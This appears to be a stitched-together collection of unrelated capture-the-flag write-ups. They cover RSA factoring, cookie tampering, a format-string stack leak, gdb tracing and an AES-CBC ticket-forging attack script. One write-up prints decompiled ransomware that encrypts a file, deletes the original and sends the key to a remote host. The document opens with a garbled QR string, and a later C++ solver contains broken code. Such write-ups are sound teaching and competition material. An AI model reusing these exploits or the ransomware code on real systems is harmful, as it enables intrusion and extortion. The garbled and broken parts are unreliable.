This QR Code gave us the URL “http://qrs.ly/ai7bsyn” whose content was:```Ob>(FfBIDELM1nJQ56TtP:XxTU\]^YZ"\cdefgK*dkfg/iSkr4nXp8rsz{|w~!zB|%&hG#*%&-op0P,-4/w189Y5}=]9@;<C'?eAHIJKFGmIPKLSTUPQXS=zV]X_ZaE$^H`gh*delmniS2lVn6pqxyt^|>x!"{|%g'(H$l,-M)*+2t4T078zY5<=8"@ABb>EFG+hDKLGH23pLMTUVQwSZ[\@^~Z[bcde`gK*dklgnipT3mtupwxy]<v}~!"#eD~!"j*+K'./01stS/67834|[78?:A%b>EF*BIJjFM1nJ45STtPWXYT[VW^B`"\]d_I(bcjkfP/ijkrm5ovwxyt{=w~yz#$fE!()*+m'M)*+,R./0723{5[7>?@AB='d@GBC-ELlHO34qM7UVWXxT[\]A~Z[\cdefJK*dklgnipT3mtuYqx])^OP>!d{$VE4F6l%nLo |
Problem Statement(600 points):
The more primes, the safer.. right.?.? Connect with nc 2018shell2.picoctf.com 54915.
Solution:
It is a question of multi prime rsa.IF i get all the factors of n we can easily get d.
I was given the following :
n=7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
c=3670299277793632058702793297897750202390028862083121193154786454442747778012608037319074059849513143614838290370386310449245926313963594388615873818138122198638842317775671383243272790384729363089911073734180421303462368643415811401399803824480651005886180614400113872470469554939994288906399951020543977
e=65537
I found all the factors on https://factordb.com/ and then wrote the python script( here)
In normal RSA d=modInv(e,pXq)But in multiprime RSA suppose n has 5 factors a,b,c,d
so accordingly d will be : d=modInv(e,(a-1)*(b-1)*(c-1)*(d-1)) hexadecimal message=pow(c,d,n)
so i the output of my python script resulted :
7069636f4354467b705f265f715f6e305f725f245f7421215f333632303736327d
Converted to string :
The Flag is : picoCTF{p_&_q_n0_r_$_t!!_3620762} |
Зайдя на *http://ctf.knastu.ru/webch/* мы отправляемся во вкладку About.Там мы можем найти список сотрудников банкаНажав на клавиши: ctrl + uмы откроем код стриницы. Изучив код мы видим подключение JS скрипта get_rating
*<script src="/webch/about/getrating.js"></script>*
Перейдя по ссылке http://ctf.knastu.ru/webch/about/getrating.js мы получаем флаг
***Flag: HumanCTF{ar3y0ua7ruly70l3ran7withflag5}*** |
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|
* https://s3.us-east-2.amazonaws.com/inctfi/chall_final.tar.gz* [orig link](https://ctf.inctf.in/challenges)* [ctftime](https://ctftime.org/event/662/)
The function `check_flag()` is really interesting. First of all, it checks two values. That values should be set by `mmap()` and `write()` call to the driver device. Later that values will be `xor`ed with one another and the result would be actually checked in `check_flag()`.
There are two magic values that we can bruteforce:
``` if ( len_1 == 7 * ((unsigned __int64)(((unsigned __int64)(len_1 - (0x2492492492492493LL * (unsigned __int128)len_1 >> 64)) >> 1) + (0x2492492492492493LL * (unsigned __int128)len_1 >> 64)) >> 2) )
... if ( (unsigned int)(need16 - 1) > 0x1F || (v28 + 2) * (v28 + 1) + ((v28 + 2) * (v28 + 1) - 1) * ((v28 + 2) * (v28 + 1) - 1) != 0x16C93 )
```
The python scripts.```#!/usr/bin/python
for v13 in xrange(1023): if v13 == 7 * ((((v13 - (0x2492492492492493 * v13 >> 64)) >> 1) + (0x2492492492492493 * v13 >> 64)) >> 2): print v13 ```and```#!/usr/bin/python
for v33 in xrange(1023): if (v33 + 2) * (v33 + 1) + ((v33 + 2) * (v33 + 1) - 1) * ((v33 + 2) * (v33 + 1) - 1) == 93331: print v33 ```
Will give results `7*x` for the first, and `16` for the second. So the password length should be a power of 7.
Now we should reverse engineer whole function and write a solver. We can actually debug it with GDB, orgs are provided us with a very useful intro to debugging.
```#!/usr/bin/env python
rev = "#v(2fx]PJZF[wY48E=,5hyAkL>s3?m|~;pS_WNgIjOuU0Q.$G7+eCl^d1rq9XKDa)':BcHn&zTob}<Mi*!R{6t-V"
out = ''
for chrToFind, carry in zip('bios{1}', [-1, 0, 0, -1, 0, -1, 0]):
idx = rev.find(chr(ord(chrToFind) - 16)) + carry
strbin = bin(idx)
toPrint = strbin.replace("b", "").replace("0", "`").replace("1", "c") toPrint = toPrint.rjust(8, '`')[1:]
print("[%s:%s:%d/%x] %s" % (chrToFind, chr(ord(chrToFind) - 16), idx, idx, toPrint))
out += toPrint
print("out: %s" % out)
```
The final code will look like this.
```#include <sys/cdefs.h>#include <err.h> #include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/ioctl.h>#include <string.h>#include <sys/mman.h>
#define _PATH_DEV_MAPPER "/dev/chall2"
int main(int argc, char **argv){ int devfd; char *buf; char *p; int i;
buf = malloc(50);
if ((devfd = open(_PATH_DEV_MAPPER, O_RDWR)) == -1) err(EXIT_FAILURE, "Cannot open %s", _PATH_DEV_MAPPER);
for (i = 0; i < 16; i++){ ioctl(devfd, 0x20004B01); }
p = mmap(0, 50, PROT_READ + PROT_WRITE, 0, devfd, 0); strcpy(p, "c`c```c```cc`c`c```ccc````cc``c`cccc`c``````ccc`c"); write(devfd, "\x01", 1); ioctl(devfd, 0x20004B02, "1234567", 7);
read(devfd, buf, 100); printf("%s", buf); if (close(devfd) == -1) err(EXIT_FAILURE, "Cannot close %s", _PATH_DEV_MAPPER);
return EXIT_SUCCESS;}
``` |
The hints indicate that the password is not checked for non-admin users, so Ilogged in with an arbitrary username and no password, then looked at my cookiesto make sense of how the session is persisted :
| Cookie name | Cookie value ||-------------|--------------|| admin | False || password | || username | iodbh |
So the cookies are plaintext. If we just change the `admin`'s cookie value to`True` and reload the page, the flag is displayed :`picoCTF{l0g1ns_ar3nt_r34l_82e795f4}` |
flag in robots.txt....so simple:)
http://ctf.knastu.ru/webch/robots.txt/*Robots.txt*/User-Agent: *Allow: /Allow: /jobsFlag: HumanCTF{********}Disallow: /jobs/manageAllow: /aboutAllow: /cardsAllow: /deposits |
let's open the executable locally with gdb and have a look at the stack before the format string gets executed
```——> gdb echoReading symbols from echo...(no debugging symbols found)...done.gdb-peda$ disas mainDump of assembler code for function main: 0x080485fb <+0>: lea ecx,[esp+0x4][..]0x080486ff <+260>: call 0x8048490 <exit@plt>0x08048704 <+265>: sub esp,0x40x08048707 <+268>: push DWORD PTR [ebp-0x90]0x0804870d <+274>: push 0x400x0804870f <+276>: lea eax,[ebp-0x4c]0x08048712 <+279>: push eax0x08048713 <+280>: call 0x8048460 <fgets@plt> <-- fgets(flag, sizeof(flag), file);0x08048718 <+285>: add esp,0x10[..]0x08048742 <+327>: add esp,0x100x08048745 <+330>: sub esp,0xc0x08048748 <+333>: lea eax,[ebp-0x8c]0x0804874e <+339>: push eax0x0804874f <+340>: call 0x8048450 <printf@plt>0x08048754 <+345>: add esp,0x100x08048757 <+348>: jmp 0x804871b <main+288>End of assembler dump.gdb-peda$ b *0x0804874fBreakpoint 1 at 0x804874fgdb-peda$ rStarting program: /home/andrei/Documents/pico/echoTime to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> AAAABBBBBreakpoint 1, 0x0804874f in main ()gdb-peda$```
looking at the disassembly of main we can also get the address of the ```flag``` variable; the call to the fgets that reads the flag.txt file is at main+280, and just before that the flag buffer is pushed on the stack from eax to pass it as argument. the address is loaded on eax the line before with ```lea eax,[ebp-0x4c]``` so there's our buffer:
```gdb-peda$ x/wx $ebp-0x4c0xffffd8fc: 0x6f636970```
and here's the stack prior to the printf
```gdb-peda$ x/64wx $esp0xffffd890: 0xffffd8bc 0x00000040 0xf7f95580 0x080486470xffffd8a0: 0xf7ffc8e4 0xf63d4e2e 0xf7ffdacc 0xffffd9f40xffffd8b0: 0xffffd8fc 0x000003e8 0x0804b160 0x414141410xffffd8c0: 0x42424242 0x0000000a 0x00000000 0x000000000xffffd8d0: 0x00000000 0x00000000 0x00000000 0x000000000xffffd8e0: 0x00000000 0x00000000 0x00000000 0x000000000xffffd8f0: 0x00000000 0x00000000 0x00000000 0x6f6369700xffffd900: 0x7b465443 0x6b6e6166 0x7d6f6c75 0xf7f9000a0xffffd910: 0xf7f94e24 0xf7f94e24 0x00000000 0xf7dedafb0xffffd920: 0xf7f953bc 0x00040000 0x00000003 0x080487ab0xffffd930: 0x00000001 0xffffd9f4 0xffffd9fc 0x0fec1a000xffffd940: 0xf7fe4150 0xffffd960 0x00000000 0xf7dd6b410xffffd950: 0xf7f94e24 0xf7f94e24 0x00000000 0xf7dd6b410xffffd960: 0x00000001 0xffffd9f4 0xffffd9fc 0xffffd9840xffffd970: 0x00000001 0x00000000 0xf7f94e24 0xffffffff0xffffd980: 0xf7ffcfb4 0x00000000 0xf7f94e24 0xf7f94e24```
so our input begins at 0xffffd8bc and the flag begins at 0xffffd8fc;also the flag buf is the 27th word on the stack, we can check that with the format string:
```Time to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> 0x%27$08x0x6f636970```
bingo. now we just need to read the flag. after ```nc```ing on the server we try to read the flag string:
```——> nc 2018shell3.picoctf.com 23397Time to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> %27stimeout: the monitored command dumped core```
but that leads to core dump. so we can read the words and translate them to string locally
```——> nc 2018shell3.picoctf.com 23397Time to learn about Format Strings!We will evaluate any format string you give us with printf().See if you can get the flag!> 0x%27$08x_0x%28$08x_0x%29$08x_0x%30$08x_0x%31$08x_0x%32$08x_0x6f636970_0x7b465443_0x6d526f66_0x735f7434_0x6e695274_0x615f7347_```
after we have all the words we can write a C program to read the flag:
```#include <stdio.h>
int main(void) {
int s[] = {0x6f636970, 0x7b465443, 0x6d526f66, 0x735f7434, 0x6e695274, 0x615f7347, 0x445f6552, 0x65476e61, 0x73753072, 0x3435325f, 0x61383431, 0x000a7d65, 0x080487ab, 0x00000001, 0x00};
printf("%s\n", (char *) s);
return 0;}```
```——> gcc -m32 decode.c -o decode——> ./decodepicoCTF{foRm4t_stRinGs_aRe_DanGer0us_254148ae}``` |
```——> ./runDecrypting the Flag into global variable 'flag_buf'.....................................Finished Reading Flag into global variable 'flag_buf'. Exiting.```
it takes quite some time; let's see what it does under the hood
```——> ltrace ./run__libc_start_main(0x4008c9, 1, 0x7fffe0f8a7c8, 0x400920 <unfinished ...>setvbuf(0x7f31b33445c0, 0, 2, 0) = 0puts("Decrypting the Flag into global "...Decrypting the Flag into global variable 'flag_buf') = 52malloc(47) = 0x1488260putchar(46, 0x1488290, 0x1488260, 0x1488260.) = 46usleep(250000) = <void>strtol(0x7fffe0f8a6b0, 0, 16, 0) = 69putchar(46, 0x7fffe0f8a6b1, 112, 0xfffffffffffffff.) = 46usleep(250000) = <void>strtol(0x7fffe0f8a6b0, 0, 16, 0) = 62putchar(46, 0x7fffe0f8a6b1, 105, 0xfffffffffffffff.) = 46usleep(250000) = <void>strtol(0x7fffe0f8a6b0, 0, 16, 0) = 56putchar(46, 0x7fffe0f8a6b1, 99, 0xfffffffffffffff.) = 46usleep(250000) = <void>[..]```
okay so it computes a char at a time then sleeps for 0.25 seconds. lets' geedeebee and break at a call to putchar.
```——> gdb ./runReading symbols from ./run...(no debugging symbols found)...done.gdb-peda$ disas mainDump of assembler code for function main: 0x00000000004008c9 <+0>: push rbp 0x00000000004008ca <+1>: mov rbp,rsp 0x00000000004008cd <+4>: sub rsp,0x10 0x00000000004008d1 <+8>: mov DWORD PTR [rbp-0x4],edi 0x00000000004008d4 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x00000000004008d8 <+15>: mov rax,QWORD PTR [rip+0x200af9] # 0x6013d8 <stdout@@GLIBC_2.2.5> 0x00000000004008df <+22>: mov ecx,0x0 0x00000000004008e4 <+27>: mov edx,0x2 0x00000000004008e9 <+32>: mov esi,0x0 0x00000000004008ee <+37>: mov rdi,rax 0x00000000004008f1 <+40>: call 0x400650 <setvbuf@plt> 0x00000000004008f6 <+45>: mov edi,0x4009d0 0x00000000004008fb <+50>: call 0x400600 <puts@plt> 0x0000000000400900 <+55>: mov eax,0x0 0x0000000000400905 <+60>: call 0x400786 <decrypt_flag> 0x000000000040090a <+65>: mov edi,0x400a08 0x000000000040090f <+70>: call 0x400600 <puts@plt> 0x0000000000400914 <+75>: mov eax,0x0 0x0000000000400919 <+80>: leave 0x000000000040091a <+81>: ret End of assembler dump.gdb-peda$ disas decrypt_flagDump of assembler code for function decrypt_flag: 0x0000000000400786 <+0>: push rbp[..] 0x00000000004007e0 <+90>: mov DWORD PTR [rbp-0x1c],0x0 0x00000000004007e7 <+97>: jmp 0x400889 <decrypt_flag+259> 0x00000000004007ec <+102>: mov edi,0x2e 0x00000000004007f1 <+107>: call 0x4005f0 <putchar@plt> 0x00000000004007f6 <+112>: mov edi,0x3d090 0x00000000004007fb <+117>: mov eax,0x0 0x0000000000400800 <+122>: call 0x400670 <usleep@plt>[..] End of assembler dump. gdb-peda$ break *0x00000000004007f1 Breakpoint 1 at 0x4007f1```
after running it, having gdb peda, i noticed that on the RDX register were passed the characters of the flag one by one
```gdb-peda$ cContinuing..[----------------------------------registers-----------------------------------]RAX: 0x5RBX: 0x0RCX: 0xfffffffffffffffRDX: 0x70 ('p') <---- first char of "picoCTF{......}"```
so at this point i just told gdb to redirect the output to a file and print the value in $rdx every time it hit that breakpoint and run the program again from the start
```(gdb) set pagination off(gdb) set logging file gdb.output(gdb) set logging onCopying output to gdb.output.(gdb)Already logging to gdb.output.(gdb) break *0x00000000004007f1Breakpoint 1 at 0x4007f1(gdb) command 1Type commands for breakpoint(s) 1, one per line.End with a line saying just "end".>p/c $rdx>continue```
also had to rerun gdb without sourcing .gdbinit because with gdb-peda it crashed.
```(gdb) rStarting program: /home/andrei/Documents/pico/runDecrypting the Flag into global variable 'flag_buf'
Breakpoint 1, 0x00000000004007f1 in decrypt_flag ()$1 = 96 '`'.Breakpoint 1, 0x00000000004007f1 in decrypt_flag ()$2 = 112 'p'[..]Breakpoint 1, 0x00000000004007f1 in decrypt_flag ()$36 = 49 '1'.Breakpoint 1, 0x00000000004007f1 in decrypt_flag ()$37 = 52 '4'.Finished Reading Flag into global variable 'flag_buf'. Exiting.```
then parse the output in the gdb.output to get the flag printed sanely, with this horrendous line
```——> cat gdb.output | grep "'" | sed -e "s_.* __g" -e "s_'__g" | tr -d '\n' | tr -d '`'picoCTF{gDb_iS_sUp3r_u53fuL_f3f39814```
just add the last bracket and we're done. |
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# ACME (crypto, 400p)
In the challenge we get a [protocol specs](ACME_Protocol.docx), a [simple client](refClient.py), an [example reference server](refServer.py), and also a [real server binary](server) alongside [runner script](challengeServer.py).
So technically in fact the flag is in the binary we have, but it seems to be packed and protected againts reversing.
We've got here some statelss crypto protocol, which challenges us in order to login and execute commands.There is `getflag` command, so we just need to properly authenticate.
The idea is that we send login to the server, and the server returns to us `nonce` and encypted challenge cookie, which contains the nonce again, our login and timesatmp.In order to authenticate we need to send back SHA256 of nonce+password and the cookie again (since protocol is statelss).
The server checks if password is correct, and if it is, we get a ticket, which contains encrypted user identity info (json with some data) plus a timestamp.
Since we have all the data, we could try to somehow modify them.It's AES-CBC encrypted so we could theoretically to some bitflipping to modify the plaintext.However, if we notice that the challenge cookie is very similar to the authentication ticket we can skip even this.
The challenge cookie is: `8 bytes nonce + user login + timestamp` and authentication ticket is `json data + timestamp`.In AES-CBC we can easily just remove first block (the IV) and the cipher will treat the next block as IV, which means effectively we just removed the first block of the plaintext.
So if we send to the server login: `'X' * 8 + '{"user":"x","groups":["admin"]}'`, and remove the first encrypted block, the ciphertext we get decrypts to a perfect ticket.
So we simply run the server, run the client exploit:
```pythondef main(): host = "localhost" port = 9999 username = 'X' * 8 + '{"user":"x","groups":["admin"]}' client = Client(host, port) client.sendMessage_LogonRequest(username) (nonce, challengeCookie) = client.expectMessage_LogonChallenge() ticket = b64encode(b64decode(challengeCookie)[16:]) print(client.execute(ticket, 'getflag'))```
And recover the flag: `TMCTF{90F41EF71ED5}` |
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = “whoami”: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = “getflag”: If G contains the string “admin”: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } 